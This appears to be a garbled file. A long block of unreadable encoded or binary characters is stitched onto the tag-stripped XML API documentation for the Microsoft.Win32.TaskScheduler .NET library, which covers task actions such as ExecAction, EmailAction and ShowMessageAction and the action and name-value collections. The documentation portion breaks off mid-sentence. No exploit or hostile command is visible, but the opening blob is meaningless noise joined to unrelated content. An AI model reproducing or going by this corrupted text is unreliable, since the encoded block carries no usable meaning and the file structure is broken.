z0hVnWgNv`N3!EadxU?ARqC=6-c(GklQ%-mYh;7@*hYf7ljQ{iwQ#DLtaEJ=>+H-f~ z=ZAwWGz4*Ny2sS^T2aM|mBy{Zki+@DoNXC=yib=Ai4Q7A)p+TkfJ1Kzk~-&{p0WgO zKj1p5mcQB3(nTe!K2TG=fyOCR-O&~h`!gRn;}aQ~3W=rx)>T_>RpMx7AZJ9z>k=DY zGspU(;$3C1tvsBruJSEIw$$&iH8#S=aY80Z)&-)es3QV4+9*M=jYoB(!(rDBoi%a@ zcgS82t1T!*rmODahBn*F%rz?=sNUr+Cl+tOT&6ill)DE0fA(I!i^g0B{(OZ*2MWbj zpQae?H?6#jR)TC7DT4CDl!>H>39KLWHeizM3R9B?=<; z#W_=-Hc?~TaC+vLn}V^}7f`Cr?RqALyzlIP9bCfNEp3`RFRas9E7z{+Z+SJnMY2|K zndh06oJPu3M0IR3+%xmA;%2tGaXJsH-!O;8c*X+EYH-#B5KxSrBlL*#m2>+||Vfk7!%0|n8GD1fMXp&;hM^>sIZ|LRRNEHANhp1Y! z<_fz6M(}>z_$8Cfi4GTY^Q79!cE!}D(?mUGqn?7k+&K&eTMS~^+gO=Jz#{3w^9oOx z39D;;N?QzE5)C5z5#giNxBKKwG1=SMYa(U}Dj3%^RqQcK6VDx(<%qed9Wm+88~9VA zIGa!k&`bR|PJg(A2}$=q+=cg#x`3DtRzwAevJMHgu?AypCU^Jr3yq2rR?JMi*9hGg z7BFG$R?B)g!K`P8q&n1Y1(|Nu1)h+Y;nGoWHDR0nHjY@tUvhmiGQ{0ciN>taKG1*=oC6FIu_fGVsuNkkp($msW^g9P^zK;a`ncJ+wVWXmwKx(h z6-!wI57#z`XtL6At}wO5bl2j>@2qye?Y;>7Zi;p6LRQm!GyOnoB?6lCzyp-PTkbBh z?BABFUY5RV=~&)&;FC*?qLDhN^BPA}qL* zW|70JY+Sih^UTE4b$;ZOgqM}!XXC)7Wv`bW!dn>0+2m!qTa&bavkE2-i4$I zLmX7Y) zdV41gOWpBdB$Qd+_DEJCm$0;SNP5HDAH#V8l&z4SA9E3z`5GwlbE$T$wkkS7Hl#o^ zBr}h6&D?J2&m7hT3y9(VhfJJxWvdxY8mBpY&&-^t+C*KbHJTr5mFWnnvUXuqVCHsm zm|n$E=n=C3DL{NZeAwvVXj7fN-hkOAm@{{>frKd>;+8P5lO41vcjgfm_0|=VjIJjb zTN--U3c(ImhE8<9PJ1gRMD@gsgAvCt#UT+P%G|hZK5TAgZOW|V1PjDrc6#gJbo6>J z`a06j^`}SeF}~HhkbuXR?TCkzv1|HiyFQv740k3H<(H+N72^)m{hQrhnZC`&;_Aep z#34h#Rqt`1GPkaJkMESZrEeOlui~WPa&`51LPn3TRb9?nq{pKLFn;xv`KeAxsPMMH znZrDvrE18xOB3`7@dF-O4v|lY6&dm;jIw}N5F40Y25*J7sCYXe&w6=~3yev7L-&xt zCZNe|0*GJ5meX{@WN-J}Kr4$ceoSVeoxVdcq}y&X>E@|0o6uyJm@JLnH?ws$iwt__Ve@D9pJX}PY~f}$nw(;H z;>?V&D#lE&jWSrZXShK`s#6fG8YtZf1wuA8Gea80PldYz$Pcaou z;9JaE6L^McCGuo5&40SXhnq8^)?GwhlC383Su5wBuV;qJtV^YKxRG|)bjCC5G?lw& zo;F+OnWqsu1{KD7%nj6zH1bSo6`y&AZ8GYU4G?x|>lp+nJyRz^;E?9ijI}pSZ-9(E z!uW5RGW9W78S{)B(vc#w8?pRqcDLi$6<|Z%j(|koU;vivklkplRsj=`Pck7{a+pbO zNGcZwVFR~!`I_Y*rl(dZ+1Jb-R=_-01X=Th(X7NISqI=0!`^Is z?^5%4%y8x!DN%Mq4Hk3zK_PRY9YFr8Mc5}4)QC(!j9!M8Xeu~u#mft3s7TO4cZa=X z6jyuF-aNTNllTgpglBeZg3+~CEO%O1t+lu|b)hE0-)3pHtF$2~8w{@FnoO8QVK`Pk ztK(J8JmDea+eEN_bBAtL!%RHDV0IU}XA}@?M5)EbM_rpCTMD{?Dudy+&8m`mzJsFh z^sGuW=}M=GE3A3J+q@okKmm_HlfW{8W`P!gR)IDF@3QqyFMl2U2@^@WUKU8eA)>r3 z1TaDZu|5h88@K}mOi|!tic<8o2EMsc3!1zEwBcKbcF1DqY_pk%Ju)u=X}XBcP_5!>4*+ zc>~?Fjy+O6rN!in(AecBbiaX)AUh4w{Pr?0I<@-9>>fx}aaHN^B@p|7%*j zRY9`HC3=Z7OoPv2$Pfpoc2Opc9hteMmbUEov9w@)O2}lvQj!Q zRP}x4eqSgM2>C;S5HGr#`k}{}`p2D>@{OfJaom^pjh99b3>SU*@$urwzTrvVK`J~} ztoZhqE57Pb(HHCs`0}F#Ux@3C_Q-wQSKjX%$d6y|+ch{;EKCd=^a+qkqrUv`uy03c zuu>i`@2~pGkjhsn!Z&Wt{l|S{e6U|Ztx}IeZFl~>M$}kT-slvLMn2wTp-6r zU;e;>O7TFx>PC-nzF!)nu8nG_UX&+Fs_t-kFh5+niSo*$zVV5%v2vx_$4l!NlTcqU z)JGE>=PVu{ZPc%iiiAUbYD=Rjj)Skzsw<0Bv{WruCU;kcUo%v#j*V}+;DQ6C>d?f# zzQOXy1%><&MPE=Q>v+8v9A~-5X(^8Sckkl0Wgcg_+s>E@KF8zKeHgN%6C=B;rQ!28 zZz)#I$^S)#y?Yba@iMTL9)}eZ-qFv!v7FK(j^YzDjNivj*nmEp*fp9T8y_lH&)=M`6k!9A3DJ}IW2JsBGFKMIsg0#W zbzT-aVaHkTabCT9yl8kgldtCKBv^K=BId77GAZzQ$rs?ny&mV+28K%GzL8>es9f+J zEHPR36@8WBNcqO1nLdT${$iy#ItaD0A!wVPD-RcnmG$GMw>O%}SNEXV;8KG=E^C*Z zykjh_^EcPWr)VR_)xBX@aLnUe|FhPT;Z6BPmU@Du`~}j!Y-fM*|+` zGD?ouXOHXEZ5ySK^4P9o<;D{2>0`C14}ZCG zUFiJH7Y**+>#i{AVHShX-oW{rH~R-Qdk^g0TSqP)4qQ}loR_17@Ci$xgD-z+LzHG{ zvWLbhFrVaHu2dYB@H>C=fns&9kynd%|sDi8Z6O2Y+TFct`l-nkxU z_Imjj4m7PwN*CDSstH82ZyOzAfvXk^LfekF_e((2YI`y?=G^D@YOWD@M84t*JcXMl z?_6blZr1|7v_8`Lta3=;5}^uLfn(#oD3@x{U1?@MxVjz#cgW)my3_ra=`LyNVjOu@ zsmFGxc4`3n?lCGw$~5ggMv7W*bYub<5fQnmdW`zc#5|>|gARPYmeyZ4>q>sGnj9T1 zSB-|Z{xug~^1!*qJ{*4M@)b!Nva;BO0TfW`s!_?gToVr;-BOZ31+-K3ZTJa0&K{4`mNY8t_{(2R#N+Hf?k%hFCRePm>i>L^*auKIvQZf(wDzu)_R=PsBc#V?M%qASQ_

?5RY((-u)`DLf?!R8V_aoguhchz&2 zAM`zRXvY!%xJ`fg`NuFwDw&N&5{Z~U5>LS(=~ULANc2bjnf_EZ)E~~KvPqXg0-<;) zkPRmMu~Z`Nk7P3;e=3xX`*WFeI-Sks`h$s-Wu;Iukq$>QNq;6Bg>Wzz@uyPhAXcGR zG963>bK$g$*`EpJGNEY5AB(1=FlB$gKM_bJ{h?$m6HlkZfp8*cX$C|6>1a9=r_4B| z2QyKBJd?`#vyntF66sH7NOds-x&BbPKjM#NgZ=(UI2iFK1L=@IkPi39!?{Ev6JcMk z$&rafQ-NTA%uj>Ev?!bNrP@kYb5D?99B;;pOW&DA7JeN%6f;1j$fGIs1j%7lrfIpE- zftg`eCSu`)KbXr!)7e-mn9Z?`5N0ftNoKNPx;mL<>ZZb3e=13*Ml;OkWG)a&1>LsC zVi_!N)GiUoB`H0b^rxbstUsMeYLsbRKa*HA6R~t8n#~3M{VD8qkz_FGPox7`e=wWM zrINvDAdqxvCUUV%HW`oj84lVWiqP|cR6h;OCUX6e{#-ESa!4i-&qRaSs6U-ZQO`tw z(hnyD{lR!59tiaZ)46~kz{|yA5Uge{%jx<4)#aWi9jUl)-xUN zr^^EVOg5`t$^_~87@Z1l3A-i4k!KTP*B_- zNW+QYjK4pW2*4PrL@?>njO9{^WSX9(c3FwstUn%2Mg5^fB$Y_Vq8WI|mJZj&qVZfx zGm6p51+&yMMgz0iR6LtV#lz}_F0}Ic`o3kNgpgOw`;+~#{$M2K?~jM54|Ve=8DoDx zZOg`UK^p1Ku~;;cNydT480Le#Hms)8Sam`TpkTXvx#hf+@H+F6aGkl zicmO^^GExG{h?$$oT0w9^jtJWe=udEVTLY}i^cq@IMX=CG!IAnbD3<)ZDTy0OQr)X zK*>OyWhEV?^dvJlnT(}FloQD0>b#o>#^Hp1mK`Q__MkGM3%}RvNE=w;Y1)D5744eDuOIXG7-fbba<*i7w?Z}LLu5N z?vbu-`+6W>VK;C0!k%JGIMv-(5F3T|8W8rLnFdB&>320fXT_42;h!!{|nDK|0_+*H) zYR8x;lE+B8Y>N3r<_OSCEE7v6;_yMjtwb`D$OJM-w{$EA ztEW;78JL+MQZ=4QC!-<0IHA&${qTM+8J7T+5Xq$c$$o@#l!|BKu~;&ea>Y$J8%Za^ z(V#z*V1y&7c#0(<9`mQOsbqgVg%}RFtd*jbkytk1Cxspl#aI$@p#*a%9ZjXe7&rnh zYXuUCNH7jVA)OeOR5ay}C&svgOqwV7Ec#H{_M1M*~W9dXD?M{{;3np_d=1+!_DSt4SMkpiQ5sS&B zWPbosd=K8^^q+(&f_0`yOM{XQY)(0B54)vMffJRYv2Zb&3Mazk5$2PqVplD$&!TED zyeA^Qpc+X2mxviSF(y{1aNWLG94}8)WKkR_mxp z=R)}si#eU+EJxcfO>ArkE2RD^g@<(Qeyn3v!`vcC)l@2Q=(mEn{NT_C%^8=aVZnCa z^Lk{Oc2d{54X3lrIaj?eU$!S(9fyb9S8V0bp;$5Y(35OARsF`vj^iBmIAd;|E-P01 zc3_+^fW2Q?&+Ik^qMrJ5Jd8Uy7~2;N@83UI2o(y2Xt4D%&IIzjq<|jg$H`Y4!#n~f z*tH;4E^xBRqxUB<-0v(OELL_66^Dnd(O~CrzRKC)$mQnr)$1|`ix!6t``kv#u)hnY zYqaa-d&bxs2y6-lHU;2$9Yba&?9TQ-ulOKko8tfT+UpiL^=6OrI=6?VBmEM3_iU{^ z`XS+u0*cZPY4d)h&3ny}R^x!?r5wFs09kaXwb4h+@ei12;F1jH6zruQO6}HJ&p^kD z>~K-iLvzwt?-t9Dft}5gck55QfXV7-`G4?estYZ5$0UBiiHR>T{Mj-%4O&|B1!mJ@ z7SVU&BIb>*wuE0lx`cVd=`jn~aN+`t#nsYgKfkp0D^lfhwQl=ZB*NY9KMC~(*|D1} zrM}dFa?JXlL?c*YgE>|kwqdjW1=_G6JNB5RZCGh7l&*Q`SY31yv+Bb9$Ev+#@-I;P z1=-KhGCpwhVm;8|)nUD6Q`5E#hS`%WlF|elcG+fpdf1!r%9!Yh8BMv|Gi37?ie06G zN^Hv%_vbmNGS<73bd^Z3B5g0;SR7uqeK*?s>y)O(?3dzXa*J2H}a#ME?hjOgHNY zN=)9B>h5CtODK97hpk4<>NZDuyQ=w0_43gS2QAVE{*#unV5q)!mgf8Wm#8av*qdD9 zaenrrh4yU+MsaJotay;Mj`t5uz0n<@Oes&wc(pV*E(@_78R|Nm+2A%t?ih$ahfcTj z1uG4mPO49;IF!E;{n4K3Z5u6=290Oe!6AHMa3HgeU+zx8hmTBgRC@rq&79|P&Y903 z#QmjVY_Sa=wS)O8TeJ$OY{NZ!_yV@aIekeE<3J<3xIqRr;c+7KIE`wQIZHIBfIj9M zO1y7>r96T+*}naTg8WtF*~Nxq)OuDq4sYCf%>cC;WyzLvN4+V$wuW|<@nJkmf0-$3S|xsM^(f=lY&RlP;s+|sC@Onm5!xN%wGul8O!x046!@`M6V0rj8GfjO}B$eA?sNGcb@?G=Jdd3q* zelV^MX1x7O%_~JVLNpj>zHxk^@ÆxSI;jTTfrPIYhw_gwAPbe25O;NPg1C`LVhyUw8IkynXv8^yVPS9>zO_&8*`Ldz=G5 zQ=!t=e%``PZl+qmBj>wfx3T4Q9F8$BaD7lye+j+}2|Dp(k02)z=I5tLA{s zNCZ2plX#(4DhxG!VCNCOuDmr02h$23re#ecJ5#J2u@gm|cy!KT2n-)TljO~L#)~(e zGz@Emz(%N-28Vou`BC2lex9Y9C=VORV7^iq-)JWJ!je^gtBX1gFSXm4HFF;aGIM|^ z&dyufu1l^a2IBERX|%{V^85F0$9eqA&wWx`=iB%jcIAKF05jfK4_#?&0vmlJ;}C~G z=B0e(CBH^17RyHmu|Frmkzyd8c=geRSwlv>Og2EWqio?%zn#g9{-1JZ>>a1_=luCU zzH`qzKKHKsyZ`=O*ZuH{+yCO9zIXcy&zX0<@Wrpc|6jWP^#g0a@RmQ^RNngG+jrgd zz@Plb;K$#6#^*ozmfyekGjDn0i=Wy4ts|fN-EUs>g*Cp=@{dkCc*VcG;i*Hd|Lxkusvo`mo{rz@ z`F7`>6X&eG;YaU1^$YiX=d}3iUh~QXf1CIl+`r|Odk+8kD`S^_wYTS%pY*P}=CLye zc76ZVf3SCV--rI?-4~Ru&PPuB_fKtp%b_(F?KBlW@G$)q2-;~Tl>-uQ(r zfA|+)|JBp4J@e9m_kHiusnIo8_f-C6&+uozdF^{vy#956;`I-$JnisM@9h5^`qOis z7yU6zl z;TvJ1bs8^z{{eo6@H6249c6u-zjyL?4fuZ2|BAnFfPX1?JlN^{6*PX2>;0sEnd?^J z6E2Xy4ZJ_49ydTQN!m}j-wi&>zw<5P-Uy8!5&v0m@zHi3;%_Z+&r-(Sgx6EI@A3DQ zRfLngJX3El)q73rUyrtLC*A7Ux0C7(rsx{{&N>!ymJg2WYxMS0-fKWR_gHB9WWC;X zn&m~E`Uv~5b2g~w9UE1j0zb%$OzlU^^UeW6oK!i!W7TXSi7gDT0zSFJOn(CA9Mc!wtTzT@ToX0_V<#tGn6LEC%*GcZt z7r9^SHgX5K>fc9yLgaTa8pEa%V_b`%%@6Xp^S7Y*mZB_f*|_uXAf2^~H?JN&5(}xF zDt;QE=Hq;SJ!5(z?-st(^p!fYWZE~ZrzxDX>d3aM)Ylo)(mbE9S6vHIIi1swM!N#K zMe|p1^#0P`qfxE|L9Ym&bl8MCzGERw&{LxnILa7e+C3K1ZW6EOPc0vnC%B4QIPOWJ zC!O82Su^7@5PB9Pq{v&Q|AWpoN9Rt{1`VuUSsQe&2Z7i2E+j9W)dZO&nf>YUlS9rs zNT!*Kb5C$DRhN5tKe z&R>JLq^()=>SQr*(BXNSqv`0)%1TZ_W1J=pf~facA64Mdh#}`yFAXv5oCo5PG2BMA z#g9Q}6NyWzU4JL^D9Kll47)BIgZT+*M-jilr4?R`VntTac?XD0r-ih{(+6m{SZ3k4 z1|7ZQmg%$&UJ<*sZx$lmGI+Y&PC z$b8XD&ur)ZpdnZ%u?Z6WCnBLP88IANbn8;j`dYGXeyLfHRrWy$gib_YaZiX31`!tT zK3SC)XOn~(cC$WsvJ&fZW-*DsBHI#<9bnK$=$fF>GM2DpeQmFcrhg~@66UF+EEG_D zcx0)7siVz{saG5yX?}j64$^VzRG(_+AD_N__2@uuJvWZ87=EQ<$geyvNhqDrljMl(kC zDqs5Y9lo+T2KTHsR#4)wXdK|7P)~?|_1jy8N;|?Kg*y_-+nt z+Ihs&&PEnnKp{WrX}dY7*drcKpNHqsibPh6=B%oUC7JA)WAyZsuXt#T=a_h0ZGvYu zu^d>V4(0@GPGmFKB}@x4&+<@cMP|D^zS=iJuh2(10m=zdj^E?i=viTFFv1gJL!O@c zV;Uv{FMsy&g6FhGid&8Oq-CmfYjT2z=PDjA%{3N6PwN#E#R+n@Xm?BVFqV(9 zr}wn&9=(3Fd~np`&5uqR%bBMuNp;PWsJ7M{;u8XU*jdu8HvbIC|J*h^)eDYuqaAZO2AmRw&yt_WqQstqE{s%$Oe;krD?%o=#dY zTt0whtzN718f_wu#%QEWTIk3|+d1^1dZKW|)3*@Ua8GE{emV$G2OlhU6#m(!5{5@) ztDq8t<_S(LdllaZkN0AVDR|CJ?l%@v%WXwYh$}owN1xb^ce$s}(?J6nh{pY^=oa&= zZ^P0_3oz?|(C1m#NGy~va#+i&vEiEJUXt~=B@FK-;%MH;eENLqF>|YAJ&O&;o9F$g z#r1A~+L9M0PK+)}USmwRSQqt}T73}2kCxepvwgjsC^Msu!J91^CiqsIcjFkxMw#)|p;D#b^e^KmZik?LxS~1h`RjE5c*35L{rwoVQh)WIKD2WD-#`7+ zKfUjL@4MxeTfX|$uP()U^2ry8eE#`H{CB?doiolj&vbd!@_uLDyn2`D3+4(oW^;@6%)Th4t-S1k2`|i8% zRj+y#RiYFi)V{xChsFF!I85N#X!NQrTi*NL_fnIOeB>kKB|!FzFTR+zyyG43c=3`; zK>NYO1eBpq_gG`p6{MxS(!+|0-A=lsh&EMF5u*gJGPk!{n z_ulj-72!C4d-vTohME&th)*s{pLhb#UUwb%w_kDzVPZ~-e+Iq!!4CqDhrh5s5adV2 z8i6JBY1Bn0{HZarZ>H5 z=gyt?-g~dxx#q$xkstiv2NxpS@bk|<|A|k0;_=5HUzqg8FMg58g)xNb0e;1Qd~0CC z-neJmu6x&<^7hYubK)D1o_7Byum18!@7q|stPV-}i}~$=?XR_NT4?x_kSVZfm~m)}Mai&2zH{r_cM>^>4f9 z_m;h9`H0`NLZ1U%%LM(+zJ}cJ23`{`GS&etY=4?@=AvH*dPv z@$A^C$$2|}kw}XZITc;V{jtsF?K6(^8vY(7?a>8kLeXF@{9U;#vuoQAhwuICKTdA_ z;3aE6^3C)fd?9%Zcher75smLLFL2nCDG&1M1J3#O*!O7g8y0Qk{KSxTW{1c=KW%^uP}^9oqjK#1CdU7LNxOX zYQ3)tq{v!$fIpt0MJspMi#hD^9Q0gl!TfQijIGo`&vqPr{YM}F(YJr}>7W0aA5V!< zFfx5=art_P6B%=ic;Rj3@0v?moIB_Hmay!zS7EK(3(R6~-Nk3JF6V<;d%0f5F5z-z zbw1Jj-2agy=t|=d+SIsSY*P8s3fBdTiiyntJy4YqNxKbMW%LOy8C~@|+vL(dOgpP_ z(&w#T2Elot`6m$eP^T(b*7$ccrN1;d0orZ*H$atCot9*+k|FSvMz%IcVxRhDlV$L!WCp_L-fKas>IFRlwww;mpU! zyX?K}TiQ%ntDZ{J*ROn-q^{>bqmQ_pt+0OAFi|B*y0?oH%v$F*Zt7O-H~U=DMFh+e6y#sg>Hr z6-@pE&PMKK<3B)+W$RMui?K&ci)7HU_H3WA8ZPb)dstC#U%gJ&Fz=%lGSsN;CFb5d zf2f`lP*tn68`UXbig!oU$6JPZ8GA3|s(|s)tw!gm!s}`%(&T^t$8Gq=6vt`V&m0s#%nR{rK5JN jG23MFCE=jOlH{f2rTZ5D0xif~&LY*Z|Nr;@To3$Tjx + + + Microsoft.Win32.TaskScheduler + + + +

Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a 